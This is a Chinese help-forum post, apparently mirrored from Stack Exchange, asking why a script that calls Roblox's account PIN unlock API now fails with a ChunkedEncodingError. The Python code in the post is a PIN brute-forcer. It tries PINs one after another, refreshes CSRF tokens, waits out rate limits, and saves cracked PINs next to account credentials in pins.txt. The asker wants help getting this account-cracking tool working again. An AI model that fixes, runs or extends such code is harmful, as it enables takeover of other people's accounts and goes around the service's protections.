You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Roblox账户PIN解锁API链接失效,报错ChunkedEncodingError求助

Roblox PIN解锁API报错问题

之前调用Roblox的https://auth.roblox.com/v1/account/pin/unlock接口一直正常,最近突然出现如下报错:

[ERROR] ChunkedEncodingError: ("Connection broken: InvalidChunkLength(got length b'', 0 bytes read)", InvalidChunkLength(got length b'', 0 bytes read)). Retrying in 1 seconds.

不清楚该API是否已迁移,或是存在其他问题,恳请知情者告知。

相关Python代码片段如下:

def try_pin(pin, retries=3):
    global tried
    retry_count = 0
    backoff = 1
    while retry_count < retries:
        try:
            r = req.post('https://auth.roblox.com/v1/account/pin/unlock', json={'pin': pin})
            if 'X-CSRF-TOKEN' in r.headers:
                req.headers['X-CSRF-TOKEN'] = r.headers['X-CSRF-TOKEN']
                return 'retry'
            elif 'errors' in r.json():
                code = r.json()['errors'][0]['code']
                if code == 0 and r.json()['errors'][0]['message'] == 'Authorization has been denied for this request.':
                    print(f'[FAILURE] Authorization denied. Waiting for 2 minutes before retrying.')
                    time.sleep(60 * 2)
                    return 'retry'
                elif code == 1:
                    print(f'[SUCCESS] NO PIN')
                    with open('pins.txt', 'a') as f:
                        f.write(f'NO PIN:{credentials}\n')
                    return 'break'
                elif code == 3 or '"message":"TooManyRequests"' in r.text:
                    print(f'[RATE LIMITED] Waiting for 2 minutes before retrying.')
                    time.sleep(60 * 2)
                    return 'retry'
                elif code == 4:
                    tried += 1
                    save_tried_pin(pin, tried_pins_file, tried_pins)
                    return 'break'
            elif 'unlockedUntil' in r.json():
                print(f'[SUCCESS] {pin}')
                with open('validpin.txt', 'a') as f:
                    f.write(f'{pin}\n')
                with open('pins.txt', 'a') as f:
                    f.write(f'{pin}:{credentials}\n')
                save_tried_pin(pin, tried_pins_file, tried_pins)
                return 'break'
            else:
                print(f'[ERROR] {r.text}')
                return 'error'
        except requests.exceptions.ChunkedEncodingError as e:
            print(f'[ERROR] ChunkedEncodingError: {e}. Retrying in {backoff} seconds.')
            retry_count += 1
            time.sleep(backoff)
            backoff *= 2  # Exponential backoff
        except requests.exceptions.RequestException as e:
            print(f'[ERROR] RequestException: {e}')
            return 'error'
    return 'error'

内容的提问来源于stack exchange,提问作者sfc15

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.20 20:55:16